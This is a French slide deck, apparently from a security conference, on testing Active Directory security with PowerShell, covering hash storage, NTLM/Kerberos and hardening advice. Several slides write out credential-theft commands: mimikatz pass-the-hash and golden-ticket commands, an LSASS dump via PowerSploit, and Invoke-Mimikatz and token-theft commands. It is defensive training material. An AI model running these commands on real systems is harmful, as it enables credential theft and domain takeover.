Télécharger la présentation
La présentation est en train de télécharger. S'il vous plaît, attendez
Publié parBeatrice Boutin Modifié depuis plus de 6 années
1
Tester la sécurité de son annuaire Active Directory avec PowerShell
Guillaume MATHIEU MVP Enterprise Security © Copyright 2017 METSYS. Tous droits réservés METSYS La Grande Arche Paroi Nord Paris La défense 92044 Cedex Tel Fax
2
Pourquoi cette session
Active Directory : annuaire le plus déployé dans les entreprises. Kit d’attaques de la NSA qui a fuité sur Internet. Multiplication du nombre d’attaques depuis 2015. 280 jours en moyenne pour détecter une attaque. Nombreux modules PowerShell pour optimiser et tester la sécurité de son annuaire Active Directory. Maîtriser et sécuriser Active Directory devient un enjeux stratégique. Et PowerShell est votre allié pour cela !
3
Planning La sécurité Active Directory et Active Directory
Planning La sécurité Active Directory et Active Directory Les bonnes pratiques. 2. AuditConnexion, un script PowerShell « fait maison » pour analyser le journal Security de vos contrôleurs de domaine. Réduire les privilèges des comptes d’administration / services 3. Tester la sécurité de votre annuaire Active Directory avec le module PowerShell PowerSploit Présentation avancée de PowerSploit © 2010 Microsoft Corporation. All rights reserved.
4
1. La sécurité et Active Directory
5
La sécurité et Active Directory
Mise en place d’outils de détection d’attaques (Microsoft Advanced Threat Analytics) Tests d’intrusions Durcissement protocoles authentification (Kerberos, NTLM) Audit des changements liés aux infrastructures et objets Active Directory (Quest Change Auditor, AuditConnection) PRA/PCA Active Directory Sécurisation des postes d’administration (PowerShell V5 / Bitlocker) Automatisation du cycle de vie des objets Gestion des comptes administrateurs locaux (Microsoft LAPS) Durcissement du système d’exploitation Délégation de l’administration (forêt de ressources) Réduction des privilèges des comptes de services Mise en place de politique de mots de passe / MFA Définition de l’architecture cible. Gouvernance de l’annuaire Active Directory
6
Stockage des mots de passe
Stockage des mots de passe Mot de passe d’un compte utilisateur Active Directory : Stockés sous forme de Hash / empreintes : LMHASH ( ) : 882B5831DF88FDB77C3113B4A1A5E3A0 NTHASH ( ) : B8895ECED52341EDFC6A078BB962CB3B Attributs dBCSPwd / UnicodePwd (mot de passe) et lmPwdHistory / ntPwdHistory (historique) protégés par le système Procédure pour récupérer les Hash avec LIBESEDB et NTDSXTRACT. Rainbow Table : retrouver un mot de passe à partir d’un HASH Rainbow Table 17 Go : retrouver tout mot passe à partir de son LMHASH © 2010 Microsoft Corporation. All rights reserved.
7
Les mots de passe en texte clair / Hash en mémoire
Lancer la console GPMC.MSC. Editer la Default Domain Controller Policy Activer la GPO Network security: Do not store LAN Manager Hash value on next password change. Faire la même action au niveau de la GPO Default Domain Policy. Changer le mot de passe de tous les comptes utilisateurs et ordinateurs. Définir un mot de passe supérieur à 15 caractères pour tous les comptes utilisateurs. Pour les comptes ordinateurs, le système va les changer au bout de 30 jours. Ces 2 actions permettront de supprimer la valeur de l’attribut dBCSPwd. Pour supprimer les valeurs de l’attribut lmPwdHistory, il faut changer le mot de passe un nombre de fois correspondant à l’historique des mots de passe. Vous pouvez forcer les utilisateurs à changer leur mot de passe en cochant la case User must change password at next logon. Le LMHASH est désactivé par défaut sur les contrôleurs de domaine Windows 2008 (paramètre par défaut quand la GPO Network security: Do not store LAN Manager hash value on next password change n’est pas défini / configuré. Cette information a son importance pour les projets de migration de Windows 2000 / 2003 vers Windows 2008 R1 et versions ultérieures. Pour plus d’informations : © 2010 Microsoft Corporation. All rights reserved.
8
Version NTLM (négociation…)
Le protocole NTLM Authentification NTLM : Charlie accède au serveur FILE1. DC1 est le contrôleur du domaine. CL1 est la machine de Charlie. 1 - Charlie ouvre sa session 4- CL1 chiffre ce challenge avec NTHASH Charlie et le renvoie 3- FILE1 génère le challenge et l’envoie à CL1 8- Si les deux réponses correspondent, DC1 donne accès à FILE1 7- DC1 compare la réponse générée avec celle reçue par FILE1 2- Charlie accède à File1 6- DC1 génère la réponse avec le challenge et le logon de Charlie 5- FILE1 envoie le logon + challenge + réponse à DC1 FILE1 DC1 Charlie CL1 « Je suis Charlie » Réponse Version NTLM (négociation…) Challenge Réponse DC1 : OK Challenge Logon de Charlie © 2010 Microsoft Corporation. All rights reserved.
9
Le protocole Kerberos
10
L’attaque NTLM Pass The Hash
L’attaque NTLM Pass The Hash Comportement standard du protocole NTLM (SSO) Sur une machine distante (ouverture de session réseau) Mot de passe complexe -> vulnérable à cette attaque mimikatz.exe "privilege::debug" "sekurlsa::pth /user:service- ata /ntlm:13b29964cc2480b4ef45 4c59562e675c /domain:msexp76.intra" © 2010 Microsoft Corporation. All rights reserved.
11
L’attaque Pass the Ticket
Mimikatz :
12
L’attaque Golden Ticket
mimikatz.exe "privilege::debug" "kerberos::golden /admin:darkalan /domain:msexp76.intra /id:4000 /sid:S /krbtgt: dbb7808c45b8fefe499bc7f6 /startoffset:0 /endin:600 /renewmax:10080 /ptt“ Nom du domaine : msexp76.intra Krbtgt : dbb7808c45b8fefe499bc7f6 SID du domaine : S
13
Les jeton d’accès Qu’est ce qu’un jeton d’accès (Access Token) ?
Les jeton d’accès Qu’est ce qu’un jeton d’accès (Access Token) ? Contient les SID du compte utilisateur / groupes Liste des privilèges (comme Debug Programs) de l’utilisateur Jeton d’accès primaire : généré par Lsass.exe à l’ouverture de session Démarrage de Notepad.exe : jeton d’accès primaire est copié / attaché au processus Notepad Processus nécessite permissions (NTFS) ou un privilège (Debug Programs) -> Windows analyse le jeton d’accès LSASS : Local Security Authority Subsystem © 2010 Microsoft Corporation. All rights reserved.
14
Voler un jeton d’accès La méthode : dupliquer les jetons d’accès existants et les utilise pour exécuter des tâches Les outils : INCOGNITO 2.0 (à exécuter en System, nécessite les privilèges Debug Programs, Replace a process-level token, Impersonate a client after authentication). La commande PowerShell Invoke-TokenManipulation du module PowerShell PowerSploit © 2010 Microsoft Corporation. All rights reserved.
15
Comment protégrer son annuaire Active Directory
Réduire les privilèges des comptes de services / d’administration Protéger vos stations de travail d’administration (laisse pas traîner ton Hash ) Configurer votre antivirus (détection Mimikatz) Tracer les commandes PowerShell exécutées (PowerShell V5) Désactiver WDIGEST (UseLogonCredential). Désactiver NTLM : (fausse bonne idée) KB Déployer LAPS / Advanced Threat Analytics
16
Bibiographie Guide sur Mimikatz :
fonctionnement-et-contre-mesures-tuto-de-A-a-Z via-un-dump-memoire-tuto-de-a-a-Z passe-via-Metasploit-et-Meterpreter
17
2. Analyser le journal Security avec le script PowerShell AuditConnexion de Metsys
18
Analyse du script AuditConnexion
Les principaux événements Windows : ID 4768, 4769, 4624, 4625 GET-EVENTLOG / GET-WINEVENT vs WEVTUTIL : versus
19
3. Tester la sécurité de votre annuaire Active Directory avec PowerSploit
20
Installer PowerSploit
Télécharger les sources depuis le site web: Copier les sources dans le dossier C:\Windows\System32\WindowsPowerShell\v1.0\Modules\ Débloquer les fichiers : Get-ChildItem –Path C:\Windows\System32\WindowsPowerShell\v1.0\Modules\PowerSploit -Recurse | Unblock-File
21
Exporter la mémoire du processus LSASS.EXE avec PowerSploit
Procédure basée sur la commande Out-Minidump de PowerSploit Exporter le contenu de la mémoire du processus LSASS sous forme d’un fichier. Get-Process Lsass | Out-Minidump -DumpFilePath C:\_adm\Dump Lancer ensuite Mimikatz : sekurlsa::minidump C:\_adm\Dump\lsass_512.dmp sekurlsa::logonpasswords Pour plus d’informations : via-un-dump-memoire-tuto-de-a-a-Z
22
Exporter la mémoire du processus LSASS.EXE avec PowerSploit
Variante avec la commande Invoke-Mimikatz - Invoke-Mimikatz -command "privilege::debug sekurlsa::logonpasswords"
23
Voler un jeton d’accès avec PowerSploit
Incognito en PowerShell - Invoke-TokenManipulation –Enumerate nvoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 2696
Présentations similaires
© 2024 SlidePlayer.fr Inc.
All rights reserved.